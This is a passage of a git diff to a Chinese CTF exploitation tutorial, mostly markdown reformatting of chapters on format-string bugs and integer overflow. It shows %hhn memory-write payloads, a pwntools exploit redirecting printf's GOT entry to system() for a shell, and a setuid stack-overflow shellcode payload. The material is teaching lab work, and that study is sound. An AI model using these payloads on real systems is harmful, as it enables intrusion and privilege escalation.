小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`,开头的 `AA` 占两个字节,即将地址赋值为 `2`,中间是 `%15$n` 占 5 个字节,这里不是 `%13$n`,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`,详细输出如下: -``` + +```text $ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text $ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. @@ -889,7 +943,7 @@ ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0xf7e27c1b : ret + 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> @@ -958,9 +1012,11 @@ gdb-peda$ x/20x $esp 0xffffd560: 0x00000000 0x31254141 0x416e2435 0xffffd538 0xffffd570: 0xffffd500 0x00000001 0x000000c2 0xf7e70240 ``` + 对比 `printf()` 函数执行前后的输出,可以看到我们成功地给 `arg2` 赋值了 `0x00000020`。 说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小: + ```c char c; short s; @@ -976,7 +1032,8 @@ printf("%s %lln\n", str, &ll); // 写入16字节 ``` 试一下: -``` + +```text $ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text 0xffffd530: 0xffffd564 0x00000001 0x88888801 0xffffffff @@ -986,8 +1043,10 @@ $ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text $ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text 0xffffd530: 0xffffd564 0x00000001 0x00000001 0xffffffff ``` + 于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 `0x12345678` 到地址 `0xffffd538`,首先使用 `AAAABBBBCCCCDDDD` 作为输入: -``` + +```text gdb-peda$ r AAAABBBBCCCCDDDD [----------------------------------registers-----------------------------------] @@ -1002,7 +1061,7 @@ ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0xf7e27c1b : ret + 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> @@ -1033,19 +1092,25 @@ gdb-peda$ x/20x $esp gdb-peda$ x/4wb 0xffffd538 0xffffd538: 0x88 0x88 0x88 0x88 ``` + 由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序): -``` + +```text 0xffffd564 -> 0x41414141 (0xffffd538) -> \x78 0xffffd568 -> 0x42424242 (0xffffd539) -> \x56 0xffffd56c -> 0x43434343 (0xffffd53a) -> \x34 0xffffd570 -> 0x44444444 (0xffffd53b) -> \x12 ``` + 把 `AAAA`、`BBBB`、`CCCC`、`DDDD` 占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下: -``` + +```text $ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > text ``` + 其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 `hh`,所以只会保留一个字节 `0x78`(16+104=120 -> 0x56)、`0x56`(120+222=342 -> 0x0156 -> 56)、`0x34`(342+222=564 -> 0x0234 -> 0x34)、`0x12`(564+222=786 -> 0x312 -> 0x12)。执行结果如下: -``` + +```text $ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf @@ -1064,7 +1129,7 @@ ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0xf7e27c1b : ret + 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> @@ -1135,19 +1200,23 @@ gdb-peda$ x/20x $esp ``` 最后还得强调两点: + - 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同 - 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址 - ## x86-64 中的格式化字符串漏洞 + 在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 `RDI`、`RSI`、`RDX`、`RCX`、`R8` 和 `R9` 传递;而在 Windows 中,前四个参数通过 `RCX`、`RDX`、`R8` 和 `R9` 来传递。 还是上面的程序,但是这次我们把它编译成 64 位: + +```text +$ gcc -fno-stack-protector -no-pie fmt.c ``` -gcc -fno-stack-protector -no-pie fmt.c -``` + 使用 `AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` 作为输入: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] RAX: 0x0 @@ -1205,36 +1274,41 @@ gdb-peda$ c Continuing. AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e. ``` -可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。 +可以看到我们最后的输出中,前五个数字分别来自寄存器 `RSI`、`RDX`、`RCX`、`R8` 和 `R9`,后面的数字才取自栈,`0x4141414141414141` 在 `%8$p` 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 `RDI` 被用于传递格式字符串,可以从 gdb 中看到,`arg[0]` 就是由 `RDI` 传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 `arg2` 的值了,因为它被存入了寄存器中。 ## CTF 中的格式化字符串漏洞 -#### pwntools pwnlib.fmtstr 模块 +### pwntools pwnlib.fmtstr 模块 -文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html +文档地址: 该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。 `FmtStr` 提供了自动化的字符串漏洞利用: + ```python class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0) ``` + - execute_fmt (function):与漏洞进程进行交互的函数 - offset (int):你控制的第一个格式化程序的偏移量 - padlen (int):在 paylod 之前添加的 pad 的大小 - numbwritten (int):已经写入的字节数 `fmtstr_payload` 用于自动生成格式化字符串 paylod: + ```python pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') ``` + - offset (int):你控制的第一个格式化程序的偏移量 - writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got}) - numbwritten (int):已经由 printf 函数写入的字节数 - write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n) 我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):[fmt.c](../src/others/3.1.1_format_string/fmt.c) [fmt](../src/others/3.1.1_format_string/fmt) + ```c #include void main() { @@ -1249,7 +1323,8 @@ void main() { ``` 为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定: -``` + +```text # echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -m32 -fno-stack-protector -no-pie fmt.c ``` @@ -1257,6 +1332,7 @@ $ gcc -m32 -fno-stack-protector -no-pie fmt.c 很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。 第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下: + ```text gdb-peda$ b main ... @@ -1298,9 +1374,11 @@ arg[0]: 0xffffd1f0 ("AAAA\n") Legend: code, data, rodata, value 0x08048512 in main () ``` + 我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。 读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset): + ```text $ readelf -r a.out @@ -1319,18 +1397,21 @@ Relocation section '.rel.plt' at offset 0x304 contains 5 entries: ``` 在 gdb 中获得 `printf()` 的虚拟地址: + ```text gdb-peda$ p printf $1 = {} 0xf7e26bf0 ``` 获得 `system()` 的虚拟地址: + ```text gdb-peda$ p system $1 = {} 0xf7e17060 ``` 好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码: + ```python # -*- coding: utf-8 -*- from pwn import * @@ -1391,13 +1472,14 @@ $ python2 exp.py $ echo "hacked!" hacked! ``` + 这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。 - ## 扩展阅读 -[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html) +- [Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html) ## 练习 + - [pwn NJCTF2017 pingme](../src/writeup/6.1.2_pwn_njctf2017_pingme) - writeup 在章节 6.1.2 中 diff --git a/doc/3.1.2_integer_overflow.md b/doc/3.1.2_integer_overflow.md index 1281da2..cdbf1a5 100644 --- a/doc/3.1.2_integer_overflow.md +++ b/doc/3.1.2_integer_overflow.md @@ -5,19 +5,22 @@ - [整数溢出示例](#整数溢出示例) - [CTF 中的整数溢出](#ctf-中的整数溢出) - ## 什么是整数溢出 -#### 简介 + +### 简介 + 在 C 语言基础的章节中,我们介绍了 C 语言整数的基础知识,下面我们详细介绍整数的安全问题。 由于整数在内存里面保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出。(x86-32 的数据模型是 ILP32,即整数(Int)、长整数(Long)和指针(Pointer)都是 32 位。) -#### 整数溢出的危害 +### 整数溢出的危害 + 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。 - ## 整数溢出 + 关于整数的异常情况主要有三种: + - 溢出 - 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出 - 溢出标志 `OF` 可检测有符号数的溢出 @@ -27,8 +30,10 @@ - 截断 - 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断 -#### 有符号整数溢出 +### 有符号整数溢出 + - 上溢出 + ```c int i; i = INT_MAX; // 2 147 483 647 @@ -37,18 +42,20 @@ printf("i = %d\n", i); // i = -2 147 483 648 ``` - 下溢出 + ```c i = INT_MIN; // -2 147 483 648 i--; printf("i = %d\n", i); // i = 2 147 483 647 ``` -#### 无符号数回绕 +### 无符号数回绕 + 涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。 使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它: -![](../pic/1.5.1_unsigned_integer.png) +![img](../pic/1.5.1_unsigned_integer.png) ```c unsigned int ui; @@ -60,24 +67,30 @@ ui--; printf("ui = %u\n", ui); // 在 x86-32 上,ui = 4 294 967 295 ``` -#### 截断 +### 截断 + - 加法截断: + ```text 0xffffffff + 0x00000001 = 0x0000000100000000 (long long) = 0x00000000 (long) ``` + - 乘法截断: + ```text 0x00123456 * 0x00654321 = 0x000007336BF94116 (long long) = 0x6BF94116 (long) ``` -#### 整型提升和宽度溢出 +### 整型提升和宽度溢出 + 整型提升是指当计算表达式中包含了不同宽度的操作数时,较小宽度的操作数会被提升到和较大操作数一样的宽度,然后再进行计算。 示例:[源码](../src/others/3.1.2_integer_overflow/width_overflow.c) + ```c #include void main() { @@ -98,6 +111,7 @@ void main() { printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8); } ``` + ```text $ ./a.out 宽度溢出 @@ -107,83 +121,87 @@ c = 0xffffffba (8 bits) 整型提升 s + c = 0xffffdc74 (32 bits) ``` + 使用 gdb 查看反汇编代码: + ```text gdb-peda$ disassemble main Dump of assembler code for function main: - 0x0000056d <+0>: lea ecx,[esp+0x4] - 0x00000571 <+4>: and esp,0xfffffff0 - 0x00000574 <+7>: push DWORD PTR [ecx-0x4] - 0x00000577 <+10>: push ebp - 0x00000578 <+11>: mov ebp,esp - 0x0000057a <+13>: push ebx - 0x0000057b <+14>: push ecx - 0x0000057c <+15>: sub esp,0x10 - 0x0000057f <+18>: call 0x470 <__x86.get_pc_thunk.bx> - 0x00000584 <+23>: add ebx,0x1a7c - 0x0000058a <+29>: mov DWORD PTR [ebp-0xc],0xabcddcba - 0x00000591 <+36>: mov eax,DWORD PTR [ebp-0xc] - 0x00000594 <+39>: mov WORD PTR [ebp-0xe],ax - 0x00000598 <+43>: mov eax,DWORD PTR [ebp-0xc] - 0x0000059b <+46>: mov BYTE PTR [ebp-0xf],al - 0x0000059e <+49>: sub esp,0xc - 0x000005a1 <+52>: lea eax,[ebx-0x1940] - 0x000005a7 <+58>: push eax - 0x000005a8 <+59>: call 0x400 - 0x000005ad <+64>: add esp,0x10 - 0x000005b0 <+67>: sub esp,0x4 - 0x000005b3 <+70>: push 0x20 - 0x000005b5 <+72>: push DWORD PTR [ebp-0xc] - 0x000005b8 <+75>: lea eax,[ebx-0x1933] - 0x000005be <+81>: push eax - 0x000005bf <+82>: call 0x3f0 - 0x000005c4 <+87>: add esp,0x10 - 0x000005c7 <+90>: movsx eax,WORD PTR [ebp-0xe] - 0x000005cb <+94>: sub esp,0x4 - 0x000005ce <+97>: push 0x10 - 0x000005d0 <+99>: push eax - 0x000005d1 <+100>: lea eax,[ebx-0x191f] - 0x000005d7 <+106>: push eax - 0x000005d8 <+107>: call 0x3f0 - 0x000005dd <+112>: add esp,0x10 - 0x000005e0 <+115>: movsx eax,BYTE PTR [ebp-0xf] - 0x000005e4 <+119>: sub esp,0x4 - 0x000005e7 <+122>: push 0x8 - 0x000005e9 <+124>: push eax - 0x000005ea <+125>: lea eax,[ebx-0x190b] - 0x000005f0 <+131>: push eax - 0x000005f1 <+132>: call 0x3f0 - 0x000005f6 <+137>: add esp,0x10 - 0x000005f9 <+140>: sub esp,0xc - 0x000005fc <+143>: lea eax,[ebx-0x18f7] - 0x00000602 <+149>: push eax - 0x00000603 <+150>: call 0x400 - 0x00000608 <+155>: add esp,0x10 - 0x0000060b <+158>: movsx edx,WORD PTR [ebp-0xe] - 0x0000060f <+162>: movsx eax,BYTE PTR [ebp-0xf] - 0x00000613 <+166>: add eax,edx - 0x00000615 <+168>: sub esp,0x4 - 0x00000618 <+171>: push 0x20 - 0x0000061a <+173>: push eax - 0x0000061b <+174>: lea eax,[ebx-0x18ea] - 0x00000621 <+180>: push eax - 0x00000622 <+181>: call 0x3f0 - 0x00000627 <+186>: add esp,0x10 - 0x0000062a <+189>: nop - 0x0000062b <+190>: lea esp,[ebp-0x8] - 0x0000062e <+193>: pop ecx - 0x0000062f <+194>: pop ebx - 0x00000630 <+195>: pop ebp - 0x00000631 <+196>: lea esp,[ecx-0x4] - 0x00000634 <+199>: ret + 0x0000056d <+0>: lea ecx,[esp+0x4] + 0x00000571 <+4>: and esp,0xfffffff0 + 0x00000574 <+7>: push DWORD PTR [ecx-0x4] + 0x00000577 <+10>: push ebp + 0x00000578 <+11>: mov ebp,esp + 0x0000057a <+13>: push ebx + 0x0000057b <+14>: push ecx + 0x0000057c <+15>: sub esp,0x10 + 0x0000057f <+18>: call 0x470 <__x86.get_pc_thunk.bx> + 0x00000584 <+23>: add ebx,0x1a7c + 0x0000058a <+29>: mov DWORD PTR [ebp-0xc],0xabcddcba + 0x00000591 <+36>: mov eax,DWORD PTR [ebp-0xc] + 0x00000594 <+39>: mov WORD PTR [ebp-0xe],ax + 0x00000598 <+43>: mov eax,DWORD PTR [ebp-0xc] + 0x0000059b <+46>: mov BYTE PTR [ebp-0xf],al + 0x0000059e <+49>: sub esp,0xc + 0x000005a1 <+52>: lea eax,[ebx-0x1940] + 0x000005a7 <+58>: push eax + 0x000005a8 <+59>: call 0x400 + 0x000005ad <+64>: add esp,0x10 + 0x000005b0 <+67>: sub esp,0x4 + 0x000005b3 <+70>: push 0x20 + 0x000005b5 <+72>: push DWORD PTR [ebp-0xc] + 0x000005b8 <+75>: lea eax,[ebx-0x1933] + 0x000005be <+81>: push eax + 0x000005bf <+82>: call 0x3f0 + 0x000005c4 <+87>: add esp,0x10 + 0x000005c7 <+90>: movsx eax,WORD PTR [ebp-0xe] + 0x000005cb <+94>: sub esp,0x4 + 0x000005ce <+97>: push 0x10 + 0x000005d0 <+99>: push eax + 0x000005d1 <+100>: lea eax,[ebx-0x191f] + 0x000005d7 <+106>: push eax + 0x000005d8 <+107>: call 0x3f0 + 0x000005dd <+112>: add esp,0x10 + 0x000005e0 <+115>: movsx eax,BYTE PTR [ebp-0xf] + 0x000005e4 <+119>: sub esp,0x4 + 0x000005e7 <+122>: push 0x8 + 0x000005e9 <+124>: push eax + 0x000005ea <+125>: lea eax,[ebx-0x190b] + 0x000005f0 <+131>: push eax + 0x000005f1 <+132>: call 0x3f0 + 0x000005f6 <+137>: add esp,0x10 + 0x000005f9 <+140>: sub esp,0xc + 0x000005fc <+143>: lea eax,[ebx-0x18f7] + 0x00000602 <+149>: push eax + 0x00000603 <+150>: call 0x400 + 0x00000608 <+155>: add esp,0x10 + 0x0000060b <+158>: movsx edx,WORD PTR [ebp-0xe] + 0x0000060f <+162>: movsx eax,BYTE PTR [ebp-0xf] + 0x00000613 <+166>: add eax,edx + 0x00000615 <+168>: sub esp,0x4 + 0x00000618 <+171>: push 0x20 + 0x0000061a <+173>: push eax + 0x0000061b <+174>: lea eax,[ebx-0x18ea] + 0x00000621 <+180>: push eax + 0x00000622 <+181>: call 0x3f0 + 0x00000627 <+186>: add esp,0x10 + 0x0000062a <+189>: nop + 0x0000062b <+190>: lea esp,[ebp-0x8] + 0x0000062e <+193>: pop ecx + 0x0000062f <+194>: pop ebx + 0x00000630 <+195>: pop ebp + 0x00000631 <+196>: lea esp,[ecx-0x4] + 0x00000634 <+199>: ret End of assembler dump. ``` 在整数转换的过程中,有可能导致下面的错误: + - 损失值:转换为值的大小不能表示的一种类型 - 损失符号:从有符号类型转换为无符号类型,导致损失符号 -#### 漏洞多发函数 +### 漏洞多发函数 + 我们说过整数溢出要配合上其他类型的缺陷才能有用,下面的两个函数都有一个 `size_t` 类型的参数,常常被误用而产生整数溢出,接着就可能导致缓冲区溢出漏洞。 ```c @@ -191,6 +209,7 @@ End of assembler dump. void *memcpy(void *dest, const void *src, size_t n); ``` + `memcpy()` 函数将 `src` 所指向的字符串中以 `src` 地址开始的前 `n` 个字节复制到 `dest` 所指的数组中,并返回 `dest`。 ```c @@ -198,20 +217,24 @@ void *memcpy(void *dest, const void *src, size_t n); char *strncpy(char *dest, const char *src, size_t n); ``` + `strncpy()` 函数从源 `src` 所指的内存地址的起始位置开始复制 `n` 个字节到目标 `dest` 所指的内存地址的起始位置中。 两个函数中都有一个类型为 `size_t` 的参数,它是无符号整型的 `sizeof` 运算符的结果。 + ```c typedef unsigned int size_t; ``` - ## 整数溢出示例 + 现在我们已经知道了整数溢出的原理和主要形式,下面我们先看几个简单示例,然后实际操作利用一个整数溢出漏洞。 -#### 示例 +### 示例 + 示例一,整数转换: -``` + +```c char buf[80]; void vulnerable() { int len = read_int_from_network(); @@ -223,9 +246,11 @@ void vulnerable() { memcpy(buf, p, len); } ``` + 这个例子的问题在于,如果攻击者给 `len` 赋于了一个负数,则可以绕过 `if` 语句的检测,而执行到 `memcpy()` 的时候,由于第三个参数是 `size_t` 类型,负数 `len` 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 `buf` 中,引发了缓冲区溢出。 示例二,回绕和溢出: + ```c void vulnerable() { size_t len; @@ -238,10 +263,12 @@ void vulnerable() { ... } ``` + 这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生回绕。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 `len` 声明为有符号 `int` 类型,`len+5` 可能发生溢出) 示例三,截断: -``` + +```text void main(int argc, char *argv[]) { unsigned short int total; total = strlen(argv[1]) + strlen(argv[2]) + 1; @@ -251,35 +278,40 @@ void main(int argc, char *argv[]) { ... } ``` + 这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 `total` 表示,则会发生截断,从而导致后面的缓冲区溢出。 -#### 实战 +### 实战 + 看了上面的示例,我们来真正利用一个整数溢出漏洞。[源码](../src/others/3.1.2_integer_overflow/integer.c) + ```c #include #include void validate_passwd(char *passwd) { - char passwd_buf[11]; - unsigned char passwd_len = strlen(passwd); - if(passwd_len >= 4 && passwd_len <= 8) { - printf("good!\n"); - strcpy(passwd_buf, passwd); - } else { - printf("bad!\n"); - } + char passwd_buf[11]; + unsigned char passwd_len = strlen(passwd); + if(passwd_len >= 4 && passwd_len <= 8) { + printf("good!\n"); + strcpy(passwd_buf, passwd); + } else { + printf("bad!\n"); + } } int main(int argc, char *argv[]) { - if(argc != 2) { - printf("error\n"); - return 0; - } - validate_passwd(argv[1]); + if(argc != 2) { + printf("error\n"); + return 0; + } + validate_passwd(argv[1]); } ``` + 上面的程序中 `strlen()` 返回类型是 `size_t`,却被存储在无符号字符串类型中,任意超过无符号字符串最大上限值(256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5,成功绕过了 `if` 的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。 编译命令: + ```text # echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -g -fno-stack-protector -z execstack vuln.c @@ -287,49 +319,53 @@ $ sudo chown root vuln $ sudo chgrp root vuln $ sudo chmod +s vuln ``` + 使用 gdb 反汇编 `validate_passwd` 函数。 + ```text gdb-peda$ disassemble validate_passwd Dump of assembler code for function validate_passwd: - 0x0000059d <+0>: push ebp ; 压入 ebp - 0x0000059e <+1>: mov ebp,esp - 0x000005a0 <+3>: push ebx ; 压入 ebx - 0x000005a1 <+4>: sub esp,0x14 - 0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx> - 0x000005a9 <+12>: add ebx,0x1a57 - 0x000005af <+18>: sub esp,0xc - 0x000005b2 <+21>: push DWORD PTR [ebp+0x8] - 0x000005b5 <+24>: call 0x430 - 0x000005ba <+29>: add esp,0x10 - 0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9] - 0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3 - 0x000005c4 <+39>: jbe 0x5f2 - 0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8 - 0x000005ca <+45>: ja 0x5f2 - 0x000005cc <+47>: sub esp,0xc - 0x000005cf <+50>: lea eax,[ebx-0x1910] - 0x000005d5 <+56>: push eax - 0x000005d6 <+57>: call 0x420 - 0x000005db <+62>: add esp,0x10 - 0x000005de <+65>: sub esp,0x8 - 0x000005e1 <+68>: push DWORD PTR [ebp+0x8] - 0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址 - 0x000005e7 <+74>: push eax ; 压入 passwd_buf - 0x000005e8 <+75>: call 0x410 - 0x000005ed <+80>: add esp,0x10 - 0x000005f0 <+83>: jmp 0x604 - 0x000005f2 <+85>: sub esp,0xc - 0x000005f5 <+88>: lea eax,[ebx-0x190a] - 0x000005fb <+94>: push eax - 0x000005fc <+95>: call 0x420 - 0x00000601 <+100>: add esp,0x10 - 0x00000604 <+103>: nop - 0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4] - 0x00000608 <+107>: leave - 0x00000609 <+108>: ret + 0x0000059d <+0>: push ebp ; 压入 ebp + 0x0000059e <+1>: mov ebp,esp + 0x000005a0 <+3>: push ebx ; 压入 ebx + 0x000005a1 <+4>: sub esp,0x14 + 0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx> + 0x000005a9 <+12>: add ebx,0x1a57 + 0x000005af <+18>: sub esp,0xc + 0x000005b2 <+21>: push DWORD PTR [ebp+0x8] + 0x000005b5 <+24>: call 0x430 + 0x000005ba <+29>: add esp,0x10 + 0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9] + 0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3 + 0x000005c4 <+39>: jbe 0x5f2 + 0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8 + 0x000005ca <+45>: ja 0x5f2 + 0x000005cc <+47>: sub esp,0xc + 0x000005cf <+50>: lea eax,[ebx-0x1910] + 0x000005d5 <+56>: push eax + 0x000005d6 <+57>: call 0x420 + 0x000005db <+62>: add esp,0x10 + 0x000005de <+65>: sub esp,0x8 + 0x000005e1 <+68>: push DWORD PTR [ebp+0x8] + 0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址 + 0x000005e7 <+74>: push eax ; 压入 passwd_buf + 0x000005e8 <+75>: call 0x410 + 0x000005ed <+80>: add esp,0x10 + 0x000005f0 <+83>: jmp 0x604 + 0x000005f2 <+85>: sub esp,0xc + 0x000005f5 <+88>: lea eax,[ebx-0x190a] + 0x000005fb <+94>: push eax + 0x000005fc <+95>: call 0x420 + 0x00000601 <+100>: add esp,0x10 + 0x00000604 <+103>: nop + 0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4] + 0x00000608 <+107>: leave + 0x00000609 <+108>: ret End of assembler dump. ``` -通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下: + +通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下: + ```text gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'` Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'` @@ -363,7 +399,9 @@ Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x42424242 in ?? () ``` + 可以看到 `EIP` 被 `BBBB` 覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload: + ```python from pwn import * @@ -377,5 +415,4 @@ payload += asm(shellcode) payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261 ``` - ## CTF 中的整数溢出 diff --git a/doc/3.1.4_rop_x86.md b/doc/3.1.4_rop_x86.md index 186b137..1394c95 100644 --- a/doc/3.1.4_rop_x86.md +++ b/doc/3.1.4_rop_x86.md @@ -20,21 +20,24 @@ - [pivot](#pivot) - [更多资料](#更多资料) - ## ROP 简介 + 返回导向编程(Return-Oriented 